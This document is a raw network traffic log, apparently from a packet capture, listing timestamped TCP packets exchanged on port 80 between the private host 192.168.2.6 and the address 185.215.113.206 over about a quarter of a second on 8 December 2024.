Dec 8, 2024 15:38:42.277101040 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.278172016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.278228998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.278393030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.278455019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.279146910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.279194117 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.279308081 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.279362917 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.280301094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.280350924 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.280488014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.280534983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.281851053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.281899929 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.281928062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.281968117 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.282577038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.282629967 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.282671928 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.282717943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.283852100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.283904076 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.283904076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.283942938 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.284826994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.284878016 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.284908056 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.284951925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.285984039 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.286031961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.286171913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.286221027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.287105083 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.287157059 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.287245035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.287297964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.288264036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.288311958 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.288372040 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.288420916 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.289366961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.289412975 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.289421082 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.289458990 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.290601015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.290632010 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.290658951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.290678978 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.291754961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.291821003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.291848898 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.291896105 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.293171883 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.293237925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.293241978 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.293284893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.294167042 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.294219971 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.294286013 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.294332027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.295758963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.295813084 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.295830011 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.295871019 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.296698093 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.296749115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.296794891 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.296835899 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.297897100 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.297950983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.298294067 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.298340082 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.299376965 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.299431086 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.299464941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.299510002 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.300164938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.300216913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.300280094 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.300328970 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.301321030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.301367044 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.301373005 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.301417112 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.302715063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.302767038 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.302983046 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.303037882 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.303796053 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.303864956 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.303910017 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.303951979 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.304730892 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.304778099 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.304790974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.304830074 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.306273937 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.306324959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.306396961 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.306443930 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.307459116 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.307506084 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.307538986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.307596922 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.308649063 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.308700085 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.308763981 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.308810949 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.310158968 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.310215950 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.310270071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.310312033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.310944080 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.311012983 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.311077118 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.311145067 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.312386990 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.312439919 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.312508106 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.312553883 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.313556910 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.313616991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.313680887 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.313731909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.314630985 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.314677000 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.314769983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.314822912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.315577984 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.315630913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.315640926 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.315681934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.316534996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.316585064 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.316658020 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.316699028 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.317614079 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.317656994 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.317682028 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.317728043 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.318660975 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.318711996 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.318720102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.318759918 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.319761038 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.319808960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.319866896 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.319907904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.320847988 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.320898056 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.320997000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.321033001 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.322118998 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.322171926 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.322233915 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.322280884 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.323456049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.323508024 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.323641062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.323688984 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.324569941 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.324620962 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.324677944 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.324723959 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.325743914 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.325758934 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.325795889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.325813055 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.326582909 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.326643944 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.326725960 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.326782942 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.327790976 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.327843904 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.327879906 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.327925920 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.328711033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.328763962 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.460525036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.460632086 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.460643053 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.460696936 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.461014986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.461062908 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.461204052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.461251974 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.462162971 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.462215900 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.462305069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.462349892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.463402033 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.463452101 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.463587046 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.463640928 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.464462996 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.464509964 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.464618921 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.464669943 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.465630054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.465677977 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.465692997 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.465738058 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.466876030 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.466922998 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.467000008 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.467050076 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.468045950 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.468096018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.468172073 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.468221903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.469383001 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.469433069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.469568014 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.469614029 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.470869064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.470932961 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.470973015 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.471034050 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.472026110 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.472084045 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.472146034 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.472191095 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.473081112 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.473134041 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.473172903 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.473213911 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.474319935 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.474371910 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.474384069 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.474426031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.475265026 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.475318909 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.475339890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.475384951 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.476114035 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.476134062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.476161003 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.476180077 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.476803064 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.476855993 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.476888895 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.476929903 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.477936983 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.477989912 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.478023052 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.478065014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.479167938 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.479223013 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.479398966 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.479445934 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.480207920 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.480254889 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.480309963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.480351925 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.481430054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.481481075 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.481527090 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.481568098 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.482532024 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.482585907 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.482624054 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.482669115 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.483652115 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.483705044 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.483793974 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.483834982 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.484827995 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.484879017 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.485120058 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.485172033 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.485944986 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.485992908 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.487102032 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.487113953 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.487159014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.488401890 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.488414049 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.488425016 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.488459110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.488470078 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.489358902 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.489411116 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.489470959 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.489521980 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.490514994 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.490567923 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.490628958 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.490673065 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.491754055 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.491811037 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.492010117 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.492055893 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.492969036 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.493026018 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.493083000 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.493129969 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.494143963 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.494196892 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.494273901 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.494322062 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.495295048 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.495340109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.495398045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.495462894 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.496201992 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.496248960 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.496331930 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.496376991 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.497307062 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.497354031 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.497575045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.497628927 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.498476982 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.498519897 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.498562098 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.498601913 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.499584913 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.499634027 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.499689102 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.499730110 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.500809908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.500849962 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.500978947 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.501024008 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.501959085 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.502011061 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.502041101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.502082109 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.503024101 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.503072023 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.503150940 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.503191948 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.504180908 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.504229069 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.504317045 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.504364014 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.505284071 CET	80	49787	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:42.505331039 CET	49787	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:42.505479097 CET	80	49787	185.215.113.206	192.168.2.6
